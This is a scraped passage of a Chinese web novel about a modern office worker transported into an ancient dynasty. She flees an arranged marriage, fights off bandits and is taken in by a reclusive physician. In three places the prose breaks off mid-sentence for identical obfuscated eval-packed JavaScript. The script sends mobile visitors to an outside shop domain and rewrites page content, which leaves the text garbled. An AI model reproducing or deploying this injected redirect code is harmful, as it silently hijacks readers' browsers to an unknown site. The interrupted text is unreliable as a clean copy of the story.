《社畜在古代算命爆火后》 1. 第一章 庆云二年,秋。 天色已晚,虽是秋天,但青陵城郊已格外萧条,姜庭芜穿着一身半旧的红绸嫁衣,神色慌张地在深不见人的芦苇丛中跌跌撞撞地狂奔。头上的凤冠在仓惶逃跑中被枝丫勾到,摇摇欲坠地垂下来。 姜庭芜胡乱扶了一下快掉下来的凤冠,翡翠玉耳坠在她脸颊边晃动,乌黑的长发被扯散,凌乱地披在肩头。 她惊慌地看向身后,确认没有人追上来后才停下脚步,踉跄地跪倒在地上。她的左臂刚刚被刀划伤,大片鲜血洇出来,把大红的袖子染出一片暗红。 明明在昨天,姜庭芜还是个勤勤恳恳工作的社畜,先不提工作不顺,还遇到难缠的客户,嚷嚷着要投诉姜庭芜。 姜庭芜气极反笑,爱投就投,每天挣点钱容易吗!但出于职业素养,她强扯出一个微笑,客客气气地把客户送走。 等到下班,姜庭芜就火速叫上朋友一起,去饭店吃大餐释放情绪。 这本来是个非常普通的一天,她之前工作上受到委屈不满也都是吃顿大餐,然后逛街买买买发泄一下,再回家睡一觉第二天又元气满满继续干活。 但命运似乎精准选中姜庭芜,恰逢店门口装修,她刚走到底下,一大堆手脚架和广告牌毫无征兆地倒塌,铺天盖地地砸到她身上。 哭喊声尖叫声此起彼伏,姜庭芜被重重砸倒在地,剧烈的疼痛从身上传来让她两眼发黑,直接失去意识。 …… “啊——捉住这个小毛贼!真是吃豹子胆,敢到我们小姐院里偷东西了!” 一阵嘈杂的吵闹声吵醒姜庭芜,她睁开眼,发现自己躺在一张造型精美的雕花拔步床上,长长的床幔挡住了外面的装扮,但依然可以看出这里是个十分陌生的地方,看着也不像医院。 怎么回事?我不是在逛街吗,然后发生了什么…… 哦,我被砸了…… 姜庭芜眨眨酸涩的眼,努力回想发生了什么事。这时房间门被推开,一个人影急匆匆地走进来,嘴里嘟嘟囔囔地念叨着。 “真是倒霉!小姐还没醒呢,又摊上这些事,真是叫人心急……要是老爷能多关心一下小姐……”她手脚麻利地倒好茶,转过头看向姜庭芜,却忽而对上她睁开的眼睛。 她怔了片刻才反应过来,一下子扑到床边惊喜地喊起来:“小姐!小姐你终于醒了……” 姜庭芜愣愣地盯着眼前这个小丫头,她看上去年纪不大,顶多只有十五六岁的模样,头顶挽着一个低低的单螺髻,她红着眼小心翼翼地扶起姜庭芜,又赶忙把刚泡好的茶端来。 “小姐快趁热喝吧,小姐你不知道,你都整整昏迷两天了!微云……微云本想去求老爷夫人请个大夫来看看的,但是他们不肯,说小姐马上就要出嫁,他们没这么多钱给小姐看病……” 微云好像刚哭过,抽抽搭搭地吸着鼻子,像倒竹筒一样噼里啪啦说了一堆。 姜庭芜端着茶喝了几口润了润嗓子,脑子还没反应过来,耳朵已经敏锐地捕捉到几个词。 “等等等等!你说什么?小姐?出嫁!”姜庭芜赶紧打断她的话,觉得感觉自己脑袋要转不过弯来了。 什么鬼!这到底是哪里!我又是谁? “怎么了,小姐,您……您怎么用这种眼神看着奴婢,您不认得奴婢了吗?”微云皱着脸看着她,脸上的表情看上去又快要哭出来了。 “还真是……”姜庭芜无力地笑了笑,“我是谁啊,现在是什么时候。” 微云惶恐后退了一步跪下:“小姐您这是怎么了,现在是庆云二年,您……您是青陵城县令姜曲平的长女姜庭芜啊,小姐还认得奴婢吗?奴婢是自幼服侍小姐的微云!” 庆云二年?青陵城县令?难不成她是穿越了! 姜庭芜虽然还是一头雾水,但眼看着微云说着说着眼圈又红了,她赶忙抬手制止。 “哎哎哎,微云你先别哭,我为什么要出嫁,我要嫁给谁?” “是应家二少爷,但是……”微云抹了把泪,“是去冲喜,小姐。应家二少爷病重,试了各种法子都没效果,大夫没办法只好提议试一试冲喜。” “而小姐和少爷青梅竹马,是最合适的选择。前些日子应家老爷夫人带着聘礼登门,老爷夫人也同意了,但小姐您当时不肯,老爷大怒,让小姐回房反思,没他允许不得出门。” “昨天应家传来消息说少爷快不行了,他们着急已定好吉时,后日巳时就发轿。当时小姐听到这消息气不过,吵着要去找老爷,结果一迈出院门就晕过去了......” “冲喜?!”姜庭芜手里的茶杯“啪”得滚落在地,她捂着脸,目前的情况有些复杂,让人一下子难以接受。 先不说穿到什么青陵城县令的女儿的身上,怎么一来还要被拉去给病秧子冲喜! 姜庭芜还想继续追问微云具体情况,就听到门外又传来一阵躁动。 一个小丫鬟急急忙忙跑进来,慌乱间还被门槛绊了一跤。 “杏儿!李嬷嬷上午刚说让你小心点!每次都这么冒冒失失!”微云从地上站起来,略带责备地呵斥道。 “微云姐姐对不起,杏儿有点急……就,那个小毛贼他招了!已经传话给老爷让他过来……啊!小姐终于醒了!”杏儿一脸惊喜地看着姜庭芜,连忙扑到她床边,看来这具身体的前主人和她关系很好。 姜庭芜伸手拍拍她的脑袋,杏儿的脸红扑扑的,她看上去比微云都小了不少,大概只有十岁的模样,一团孩子气,惹得姜庭芜忍不住捏了捏她的脸。 “微云,怎么回事,小毛贼偷了什么?”姜庭芜收回手,她从善如流地接受了这个身份,立马口气严肃地问责。 “小姐先别急,就偷了外屋丫鬟的几件首饰,已经叫人揍了一顿,刚刚都交代了,小姐不必担心。”微云说着将披帛披到她身上,又细心地帮她掖好被角,轻声叮嘱道。 “近儿天冷,小姐你身体弱,还是要注意点,老爷已经到门口了。还有小姐你也别和老爷怄气,老爷最近心情也不好,外面还未太平,我……”微云说到一半突然卡壳,姜庭芜疑惑地瞟了她一眼。 微云脸色有些发白,她犹豫不决地眨眨眼,突然压低声音。 “小姐,这些话奴婢,奴婢本来不该说的……还望小姐赎罪……” 姜庭芜敏锐地意识到微云接下来的话一定很重要,便坐直身子,拉起她的手严肃地催促道:“没关系,微云你快说。” 微云瞥了眼杏儿,她很有眼力见地一溜烟跑,微云才凑到姜庭芜耳边轻声说:“今早我看见最下等的几个仆人收拾好东西被嬷嬷送出门了......” 姜庭芜没说话,微云应该是她贴身大丫鬟,虽比她小了许多,但做事干活都很麻利,人也机灵。 这里是古代,阶级严苛规矩繁琐,她虽然看过宫斗剧,但那是电视剧,和现实还是有着不小的差距。既然穿成大户人家的小姐,那姜庭芜更不能不遵守规矩了,想活命,就要牢牢遵守这具身体的身份。 门被推开,姜曲平走进来。 姜庭芜挣扎着坐直身子,轻声喊了“父亲”。 姜曲平阴沉着脸,他年过四旬,政务繁忙使得鬓角微霜,虽无怒容却自带几分威严。姜庭芜紧张地注视着他,生怕这个初次见面的“父亲”突然发难。 “庭芜,你已到及笄之年该出嫁了,应家二少爷自幼与你一同长大,现在你嫁过去冲喜也是应当。明早接亲的人就来了,嫁到应家就要好好听他们的话,‘三从四德’遵守女诫。要是少爷的病能好,那是你的福气,之后生活便可高枕无忧,要是少爷没挺过去,那也是你的命。女孩子家略识几个字,能做女工即是好事。为父也是为了庭儿你着想,就安心嫁过去吧。” 姜庭芜长这么大,还是第一次听到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888255|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么迂腐至极的话,她家九十岁太婆的思想都比他开明。但姜庭芜强忍着没有翻白眼,恭恭敬敬地听完了姜曲平的话。 “父亲说得对,女儿受教。之前是女儿不对,与父亲顶撞,还望父亲原谅。” 姜曲平摆摆手:“无妨,明天你就是应家人了,今晚好好休息,嫁妆等一下我会让小厮送到你房中。刚小厮跟我说你屋中进贼,等下让下面人处理罢了。” 送走姜曲平,姜庭芜冷着脸喊了微云过来。 “微云,我有弟弟妹妹吧?” 微云仿佛已经接受小姐突如其来的失忆。她很快就回答上来:“小姐你是长女,底下还有二小姐和三小姐,还有两个少爷。” “哦——所以——我是庶出的是吧。” “是,小姐,您和大少爷是赵姨娘生的,其他两个小姐和少爷是夫人所生。” 难怪他们会舍得送自己的长女去冲喜,原来只是个庶出的女孩,身份低贱,况且刚刚微云说外面不太平,而且下等人还被开除…… 那大概是家道中落,着急嫁女得钱吧。 姜庭芜冷笑一声,又重新躺回去。眼前的情况看着暂时也做不了什么,她还是安心躺下休息,进一步考虑接下来该怎么办。 第二天一早天还蒙蒙亮,姜庭芜就被拉起来梳妆打扮。 这起得比她平时上班还早! 姜庭芜困得睁不开眼,只好打着哈欠坐在梳妆台前,任由丫鬟们摆布。 应家的诚意姜庭芜反正一点都没看出来,送来的嫁衣饰品也都是半旧不新,根本没把她放在眼里。 不过梳妆完毕,姜庭芜盯着镜中人还是满意地点点头。 虽然姜庭芜的工作听起来很高大上,但她本身就是低精力人士,几年工作简直把姜庭芜的精气都吸收了大半,但现在这具身体可比她年轻了十岁,而且原主人长得也很美,即使是简单的梳妆依旧格外有韵味。 姜庭芜甚至都没有陪嫁丫鬟,微云也没被允许跟随,只能红着眼帮姜庭芜整理发饰。而杏儿还未体会过分别,哭得眼都睁不开,后被几个丫鬟一起抱走。 应家只派四个抬轿夫和两个老嬷嬷,连个敲锣打鼓的仪仗队都没有,花轿也不像姜庭芜在电视剧看到的那么华丽,看着像放了许久的二手货。 轿身通体刷着正红漆,虽然已经斑驳,但依稀可见之前的油亮光滑,边角处雕着缠枝莲纹也失去光泽,看着不像喜轿,倒像棺材。 老嬷嬷的脸色堪比铁块,恶声恶气地催促姜庭芜快一点。 “快一点!磨磨蹭蹭地在干什么!要是耽误了少爷冲喜时辰有你们好受的!” 院子里冷冷清清的,除了象征性挂了几块红绸,站着几个帮忙的下人,姜家竟然没有一个人出来送姜庭芜。 更别说什么“拜别父母”的仪式,姜庭芜一把揭开盖头,冷冷地扫了一眼姜家老宅,又瞪了嬷嬷一眼,不顾她的叫骂声,拎着嫁衣弯腰钻进花轿里。 姜庭芜至始至终没有反抗,她静静地坐在轿子里,听着微云她们的哭声和嬷嬷催促起轿的呐喊。 只是花轿走得飞快,轿夫把轿子晃得堪比海盗船,姜庭芜头晕目眩差点吐出来。如果就这也就算了,嬷嬷和轿夫一路上都在大声聊天,谈话内容无异于围绕着姜庭芜。 “真是晦气,庶出的果然不被家里重视,随随便便就嫁给一个病秧子,指不定哪一天就成寡妇了。”嬷嬷踩着双小脚却走得飞快,嘴里骂骂咧咧的,不仅如此,还有功夫指挥着轿夫绕近道。 “快点快点,那边路近走那边!管她颠不颠,哪来娇生惯养的命!颠不死她的!赶不上时辰拿你们是问!” 嬷嬷尖细的声音响起,姜庭芜抓着窗沿勉强坐直身体。 已经接近正午,但天色阴沉沉,轿子穿行在荒草丛中,发出令人不安的沙沙声。 不出意外的话应该是出意外了。 2. 第二章 几个穿着短衣粗布的人突然出现在路中间,吓得轿夫猛地停下,姜庭芜又一次被狠狠甩出,差点跌出轿子。 “又怎么了!抬个轿子都抬不好,腿没用还是捐了吧。”她揉了揉撞红的手腕,忍无可忍地骂了几句,却听到一个粗哑的声音响起。 “站住!荒山野岭无官府,识相的就把行囊、银钱都交出来,姑且可以饶你一条小命!” 这又是怎么了…… 姜庭芜木着脸,悄悄撩开窗口破破烂烂的流苏。盖头一上轿被她扔在一边———她才不管合不合礼仪,影响她观察情况的通通滚一边去。 透过狭窄的缝隙,姜庭芜看见轿前狭窄的小道上站着三五个人,他们戴着厚毡帽,还用布条蒙着脸,只露出一双双贪婪的眼。 遇到劫匪了?! 真是祸不单行,姜庭芜下意识弯下腰,透过帘子的缝隙紧张地观察着对方。 他们腰间上挂着锈迹斑斑的环刀和短斧,没准还是群亡命徒。 姜庭芜没指望轿夫和老嬷嬷会救她,果不其然,老嬷嬷吓得双腿乱颤,哭喊起来。 “哎呦喂各位爷,你看看咱这寒酸样,哪有钱啊。你们行行好,让咱们过去吧,这位娘子是去冲喜救命的,误了时辰可就不好了!” 为首的劫匪贪婪地瞪着花轿,他蒙着布的脸扭动着,发出几声粗哑的笑声。 “少废话,钱拿出来!否则拿命来!”他把白晃晃的刀伸到嬷嬷眼前晃了晃。嬷嬷浑身发软,颤抖着摔倒在地连连往后退。 “各……各位爷饶命啊……” “既然没钱,那这位娘子就留下来,给咱哥几个享受一下吧。”劫匪冰冷的刀贴在嬷嬷的脖子上,她把头拼命往后仰,生怕那刀一动把脑袋削掉。见他改变主意不劫财要劫色,赶忙连声道好。 “好说好说,轿子里的娘子您随便处置,各位爷饶老奴一命!”轿夫也纷纷跪下,附和着嬷嬷的话。 姜庭芜两眼一黑:果然转手给她卖了。幸好她之前翻遍轿子找到半块尖锐的木板,虽然比不上武器,但也勉强足够防御。 脚步声逼近,劫匪猥琐的声音响起。 “里面这位小娘子,别躲了,出来陪咱哥几个玩一下吧。” 劫匪走到轿前,伸手撩开帘子。本以为里面的人早就吓破胆,于是他满不在乎地把头伸进去,嘴里还在念叨着:“小娘子别害羞嘛,过来让……啊!” 他话说一半,突然发出一声凄厉的惨叫,众人不明所以,却看到劫匪不知怎么的,整个人猛地颤抖起来。他挣扎着后退,但轿子的门有点窄,他被卡了一下又一脚踩到杆子,整个人直直往后摔在地上。 这时,其他几人才看清他紧紧捂着右眼,鲜血不断从指缝间渗出。他发出痛苦的嘶吼,双手在空中乱挥,想抓住什么让自己站起来。随着他的手松开,众人看到一块木板竟直直插在他的右眼眶里! 劫匪们都惊呆了,就连嬷嬷和轿夫都不敢置信地瞪大眼睛看着眼前这一幕。 从未有过如此稀奇之事,一个弱女子竟然敢奋起反抗! 这简直叫人不敢相信! 一个穿着大红嫁衣的少女从轿子冲出来,面无表情地抬起穿着绣花鞋的脚,毫不留情地踩住劫匪乱挥的手,夺下他的短刀。 其余几个劫匪这才反应过来,他们愤怒地喊起来,举起武器冲向姜庭芜。 姜庭芜揪起其中一个已经吓软在地的嬷嬷挡在身前,一把锈迹斑斑的斧头擦着嬷嬷的额头过,在她头上划了道血口子。嬷嬷杀猪般嚎叫起来,伸手就开始抓姜庭芜的脸。 几个轿夫还算有些脑子,急忙捡起趁手的石头树枝对着劫匪砸下去。 姜庭芜急忙躲开,松开她想赶紧逃走,结果那嬷嬷不知是不是吓傻了,死死揪住她的衣角不让她走。 争执间一个劫匪偷偷溜到她背后,举起把缺了口的刀往她身上砍。 索性姜庭芜反应快,刀没砍到她,反倒让嬷嬷松开手。但那劫匪穷追不舍,还未让她喘息又朝她劈了一刀,直接砍在姜庭芜的左臂上。 皮肉撕裂带来的剧烈疼痛让姜庭芜一瞬间两眼发黑,但她意识到自己马上就要离开,如果再不逃,恐怕就没力气离开这里。 姜庭芜用短刀撑地,咬牙摇晃着站起来。嬷嬷被吓成无头苍蝇埋头乱窜,竟稀里糊涂滚到劫匪脚下。 劫匪见竟有主动送上来的蠢货,就转变方向对着嬷嬷狠狠砍了几刀,几滴温热的液体飞溅到姜庭芜脸上。 直到嬷嬷不再动弹,他才兴奋地蹲下来开始翻找她身上有没有值钱的东西。 他们所在的地方似乎是半山腰,旁边全是枯黄的杂草。姜庭芜粗略确定了逃跑的路线,那个被她刺伤眼睛的劫匪就发现了她。 “快!这个贱人在那!竟敢刺瞎我的眼!砍死她!”他手舞足蹈地尖叫着,整个人都有些神志不清。他的右眼还在不断地渗出鲜血,使得整张脸看上去狰狞又恐怖,没受伤的左眼布满血丝,死死地盯着姜庭芜。 姜庭芜撒腿就跑,嫁衣太长,再加上密密的杂草,姜庭芜简直举步维艰。她把裙摆抱在怀里,一脚深一脚浅,几乎是连滚带爬地往山脚下冲。 索性草密,劫匪似乎也不熟悉这里的地貌,并未紧紧追上来,但依然能听到他们的呐喊声和奋力踩踏枯草的声音。 姜庭芜晕头转向地狂奔,失血和紧张让她双腿发软几乎跑不动路,一个不留神被绊倒了一下,她整个人不受控制地向前扑,摔出去好几米才挣扎着站稳。 终于,令人胆战的呐喊声和追逐声消失,周围安静下来。 姜庭芜不敢停,一口气跑到山脚下的河边,那里有一片密密的芦苇丛勉强可以藏身。 失血过多又加上脂粉的掩饰,姜庭芜的脸色看上去格外苍白。她跪倒在地,整个人不停地颤抖着。虽然不知道未来会面临着什么,不过好在这个被他人指使命运的小女孩终被姜庭芜彻底改变命运。 姜庭芜哆哆嗦嗦地坐直身体,检查了一下自身的伤势。除了左臂上的刀伤,其他地方还有一些不同程度的擦伤。 那劫匪砍得用力,伤口不大但有点深,轻轻一动鲜血就不断渗出。 刚才着急逃命还没有察觉到有多痛,现在坐下来,姜庭芜感到伤口撕裂般疼。 她咬牙从嫁衣上撕了块布条,勉强包扎完伤口,冷汗就已经浸透了她的额发。 但这样远不够,还是需要找大夫看一下,这里可是古代,一点小小的感染都可以要人命。 姜庭芜摸索着从怀里掏出个荷包,是上轿前微云塞给她的,里面有些首饰和碎银子,应该够她生活一段时间。 日头已偏西,搅黄了冲喜姜庭芜非常满意,但眼下最重要的还是找个安身之处。 如今已是秋天,入夜肯定很冷,待在芦苇丛中也不是个事。 姜庭芜没想到自己穿越回古代的第一天就经历了这么多事,还差点丢掉小命。 真是太不容易了。姜庭芜默默在心里叹息着,心想以后该怎么办。但她高估自己的身体素质,当社畜当太久,即便是穿到年轻十岁的身体里也支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888256|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑不住这么高强度的活动,况且她今天没怎么吃东西,低血糖犯了,一站起来就两眼发黑,“扑通”一下直愣愣地栽倒在地。 巨大的声响惊得河边两只厮守的野天鹅猛地跳起,发出短促尖锐的叫声,“扑灵扑灵”飞出芦苇丛,头也不回地离去。 - 天还未亮,平阑突然颤抖了一下,从光怪陆离的噩梦中惊醒。 他睁开眼,近些天不知为何,总被接连不断的梦魇缠绕,几乎让他辗转难眠,连喝几剂药方都无济于事。 看来又要去山中找一回无念大师了。他面无表情地下床,倒了杯隔夜的凉茶一饮而尽。 无念大师约莫四十,头剃得净亮,面容算不上俊朗,却格外温和,身着一袭月白色僧袍,浆洗得干净挺括,领口袖口不见一丝褶皱。大师总是静静地端坐在充满檀香味的屋中,等平阑在桌前坐好,他才会抬手点燃一柱香。 袅袅薄烟升气起,他翕动嘴唇默念经文,指尖不急不忙地拨动着佛珠,整个人宛若被晨露浸润过的古玉。 二人很少交谈,等平阑把一整杯茶喝完,无念才会睁开眼问他一些近况。 “元初,你还年轻,何必过多纠结朝廷之事,若能用医术挽救苍生,又何尝不是坏事?尚且过多困于此,对你又有何利处?” “如果可以选,我只想安心做个江湖郎中。”平阑听到自己无波无澜的声音响起,眼前的无念露出一个浅浅的笑意,只是起身替他重新倒满茶,弯腰合十施了个礼。 ...... 平阑抬起眼看向屋外,已到寅时,外面隐隐传来打更人的声音:“天色将明,早睡早起,保重身体——” 他悄无声息地推开门,一股寒气袭来。天未明,露正浓,正是采露水的好时候。 平阑穿着件月白色长袍,一双漂亮的桃花眼藏匿于长长的斗笠后,带着点温润如玉的气质。他如鬼魂般在充满雾气的河边行走,时不时蹲下用瓷瓶小心地接叶片上的露水。 周遭只有潺潺的流水声,平阑接满一小瓷瓶的露水,见快要日出,便准备打道回府。耳朵却敏锐地捕捉到一丝奇怪的声音。 是呻吟声。 出于医者仁心或是一点好奇,平阑寻着声音找过去。拨开一片密密的芦苇叶,他看到一团鲜艳的红色躺在地上。 雾未散,平阑没仔细看以为撞见鬼了,不由得后退了几步,但那团红色微微动了动,又发出一声很轻的呻吟。 平阑静静观望了一会,确定躺在那里的是个人后,方才走进细看。 是个很俊美的姑娘,旁边滚落着女子出嫁时戴的凤冠,身上穿着的也像嫁衣,但不知为何会出现在此。 她整个人伏在地上,脸上浮现出不正常的红晕,难受得整张脸都皱成一团。 平阑伸手替她把脉,发现她的手烫得惊人。平阑赶忙搀扶起她,粗略检查一番后,发现她左臂上的布条。 姑娘应该自己处理过,但鲜血已经渗透大红色的布条,将其染成暗红色,可见伤势不轻。 平阑眉头紧锁,从随身携带的行囊里取出药瓶,喂了几粒药给她。 他是郎中,实在没法丢着受伤的人不管。 平阑把姑娘拽到背上背起来,向他的草屋赶去。虽然平阑看着有些弱不禁风,但体力倒是一点都不差,毕竟上山砍柴采药什么的都是些体力活。 天已微亮,山脚下的农民也陆续起床,村庄里升起袅袅炊烟,和晨雾混在一起,看上去白茫茫一片。 只不过这份安宁瞬间被打破。 3. 第三章 每隔几个月按照惯例,朝廷下令各个县城派人来巡逻一番,美名曰勘查民生,实则是找有无前朝漏网之鱼。 王朝刚建起,政治尚且动荡不安,各地还有前朝政党流窜,朝廷为巩固统治遂加强力度搜寻,被发现的后果大多都是身首异处。 每到此刻,平阑都会把自己当初随意留下落脚的破草屋一锁,背着个箩筐往深山里一钻,这样神仙来都找不到他。 毕竟平日里神出鬼没,还未有人见过他的真容,也无人知晓他的姓名。 但眼下这姑娘重伤未愈,平阑没法将她扔下不管。不远处的村庄里已经传来惊慌的狗叫声,又在时时刻刻提示他危险将近。 无奈之下,平阑只能先迅速替她处理好伤口,伤势不算严重,但不及时处理依然会有危险。 先前喂的药起了作用,姑娘看上去没有那么难受,原本紧皱的眉头也逐渐松开,她脸上沾上一小片血污,平阑拿了块手绢小心地帮她擦干净。 他留了药和字条压在床头。趁着天还未亮透,偷偷溜出去锁好门离开,准备等到夜深再回来查看她的情况。 姜庭芜在连续不断的高烧中昏昏沉沉得睡着,迷迷糊糊间她做了个很长的梦。 眼前是一望无际的大海,姜庭芜和好友一同躺在沙滩上。阳光温暖地笼罩着她,暖洋洋地格外舒服。蔚蓝的海浪翻涌着冲上沙滩,姜庭芜舒舒服服地躺在沙滩椅上,戴着墨镜惬意地享受着日光浴。 她端起一旁的冰镇饮料,却发现怎么都喝不到嘴里。 怎么回事? 姜庭芜突然感到自己的喉咙又干又疼,像被迫吞了把沙子,身上也像是被阳光点着一般,热得惊人。她本能地挣扎起来,却感到自己似乎坠入虚无,整个人像是漂浮在空中,完全提不起劲。 她迷迷糊糊睁开眼,眼前白茫茫一片,屋里被窗外皎洁的月光填满,她下意识想找水喝,床边摆着个白瓷碗,里面盛着清冽冽的水。 姜庭芜也顾不上那么多,直接就端起来喝,清甜的水冲刷着咽喉,缓解了不适感。一气喝完,姜庭芜缓了几秒,一阵突如其来的眩晕感袭来,她才意识到自己的手臂又肿又疼,几乎拿不住碗。 失去意识的同时,白瓷碗顺着她指尖滑落,跌得粉碎。 子时已过,等打更人“天干物燥,小心火烛”的吆喝声远去,平阑才悄无声息地溜回草屋。 房间里面静悄悄的,借着皎洁的月光,平阑看见那姑娘整个人伏在床头睡得正香。 “咔嚓。”平阑轻手轻脚走到床边,感到脚底好像踩到什么,发出声脆响,定睛一看是白瓷碗碎片。 他没有声张,端着烛台俯身开始收拾。 瓷片轻微的碰撞声惊醒了姜庭芜,她睡眼惺忪地睁开眼,以为自己还在家里,就伸出手,语气自然地喊了声“萍萍”。 萍萍是姜庭芜养的狗,每天早上它都会趴在床前摇着尾巴等姜庭芜醒过来。 平阑动作微微一怔,他抬起眼,眸色沉沉地看向她。 眼前的姑娘看着只有十五六岁,还带着点孩子的稚气。昏黄的烛火在她半睁半闭的眼里摇晃,看上去格外动人。 平阑静静盯着她,感到自己的心忽然抽动了一下。 姜庭芜手伸半天也没有感到预想中毛茸茸的脑袋,她不满地动了动手,更用力地凑到平阑眼前。 平阑皱着眉盯着她的手,指甲虽被凤仙花染成大红色,但很显然是匆忙赶出来的,有些地方都掉色了,她的手指上戴着几个花里胡哨的戒指,但与平阑平日见到别人戴的不同。 虽然他不明白姜庭芜要干什么,但犹豫一番后还是轻轻回握住,暖乎乎的掌心让姜庭芜不由得抬眼,才发现眼前蹲着个人。 他的皮肤在烛光的映照下白得晃眼,剑眉桃花眼,目光炯炯地盯着她。视线往下移,笔挺的鼻尖下薄唇红艳艳的,惹得人不由得心痒。 好帅! 姜庭芜感觉自己心里涌上一股说不清道不明的感觉,平日在网上看着视频中的帅哥流口水,这还是第一次这么近距离观看现实中的帅哥。 姜庭芜不由得心猿意马,连伤口都忘了疼,眼神黏在他嘴唇上都快撕不下来了。 平阑发现这姑娘一直盯着他脸看,也不知道在想什么,脸上露出几分失神。 平阑有点懵,疑惑地挠了挠脸,难不成脸上有东西? 结果下一秒那姑娘伸出另一只手……直接抚上他的脸。 “……” 平阑下意识抬手,想别开她企图占便宜的“爪子”,但脸上已经传来拉扯感——姜庭芜没忍住捏了一下。 平阑的手松松地抓着她的袖口,还在思考怎么把她扶回床上,嘴唇就感到一片柔软的微凉。 !!! 平阑吓得一激灵,他没想到这姑娘这么胆大,直接亲上来! 他的瞳孔里倒映着姑娘的脸,她的脸色还是很苍白,吻上来时的嘴唇是冰凉的。 平阑整个人急忙往后仰,但意识到她手上有伤,又不敢用力去推。拉扯间,冰冷的嘴唇擦过他的嘴角,轻轻落在脸颊上。 紧接着那姑娘身子一软,直直撞进平阑的怀抱里。 平阑整张脸被姜庭芜挑逗得通红,他难以置信地摸了一下刚刚被亲的地方,又呆呆地盯着在他怀里沉沉睡去的姜庭芜。 怎么会这样!虽说他没少接触过宫中嫔妃,但这么近距离还从未有过,就这么……被一个来历不明的女子抢走了初吻! 平阑简直又羞又恼,但姜庭芜调戏完人倒头就睡,只留下他一人坐在地上凌乱。 周遭很安静,平阑静静坐在地上,听着怀里人安静的呼吸声。 许久之后,他发出声微不可闻的叹息,把她扶回床上躺好,收拾好残局后又注视了她许久,直到天边的光亮冲破黑夜,他才悄悄离开。 日头西落,不知何处传来的鸡鸣声终于唤醒姜庭芜。 她睁开眼,懒洋洋地在床上蠕动着伸懒腰,结果一不小心扯到左臂的伤口—— “啊啊啊!” 姜庭芜疼得眼泪都出来了,这么一刺激也彻底清醒了。她捂着手臂坐起来,警惕地打量着四周。 看来她并没有横死荒野,被好心人捡回去了。 眼前的屋子非常干净,甚至可以说有点简陋。墙上挂着几副泛黄的画卷,墙边立着个大柜子,旁边有张破破烂烂的方桌,空气中弥漫着一股淡淡的药味,很像姜庭芜之前去的中药馆。 她疑惑地打量着周围,却没见到把她捡回来的救命恩人。 正当她坐在床上发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888257|192110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆时,外面忽然传来一阵嘹亮的狗叫,由远及近向此处逼来。 姜庭芜吓了一跳,差点跌下床。这时她才注意到床边压着张纸条,上面用小楷写着几行字。 【药置榻侧,若闻户外异响,切勿惊惶。可趋床底地窖暂避,切记勿出屋门,吾归期稍晚。平阑】 姜庭芜快速扫了眼,听着屋外已经隐隐有人的声音传来,慌忙下床。 她在床底摸索一番后,推开块松动的木板,一个豁口出现。姜庭芜也顾不上太多,迅速钻下去把木板推回原位。 屋外脚步声停下,一个满面络腮胡的中年男子站在已经烂倒在地的篱笆边,口气鄙夷地问:“这里竟然还有间破房子,这路也太难走了,阴森森的,跟坟墓一样。要不是为了捡这只山鸡,老子才不会走进来。” “大……大哥,这屋子有人住吗,都……都破成这样了,要去看看……”他身旁站着个瘦瘦小小的青年男子,手里牵着只黄狗。他话说到一半,中年男子抬手给他后脑勺一耳光。 “闭嘴,老子可没心情去看。” 青年男子趔趄了一下,拽着狗往篱笆方向走了几步。黄狗嘴里叼着只血迹斑斑的雉,它低头嗅了嗅草地,不知闻到什么,突然龇牙咧嘴地甩甩脑袋,呜咽了几声,松掉嘴里的雉转身就跑。 青年男子一时没防备,被拽着跑了几步又被脚下的草茎绊住,摔了个狗啃泥,手上的绳也松开,黄狗摆脱束缚后头也不回地蹿下去。 中年男子气得大喊起来:“阿黄!阿黄!回来!小崽子怎么跑这么快!” 他骂骂咧咧地转去追狗,路过正躺在地上哼哼唧唧的青年男子还不忘踹他一脚:“别哼唧了,跟个娘们似的,把山鸡捡上,给老子起来!” 听着屋外人脚步声渐远,姜庭芜这才长舒口气,歪歪扭扭地从床底爬出来。 她一屁股坐在床边,开始回忆到底发生了什么。 “我当时想去找个地躲一下,结果站起来就晕了……”姜庭芜无奈地捂着脸,昏睡的时候断断续续做了不少梦,但其中有个梦印象挺深的。 她看见一个超级帅的男子蹲在她面前,长得比她见过的所有男人都好看,虽然已经记不清脸,但姜庭芜美美捏了把他的脸,好像还……亲了一口。 如此美妙的梦让姜庭芜满意地捂着脸笑起来,左臂还是有些肿胀,她想起纸条上的话,起身将药一饮而尽,又试着去推门,发现是从外锁上。 “奇怪……”姜庭芜嘟囔着,又开始在室内晃悠。 救他之人大抵是个郎中,大柜子里全是各样的草药。眼见着天色暗下来,姜庭芜点燃桌上的蜡烛,跳跃的烛光映在她的脸上。 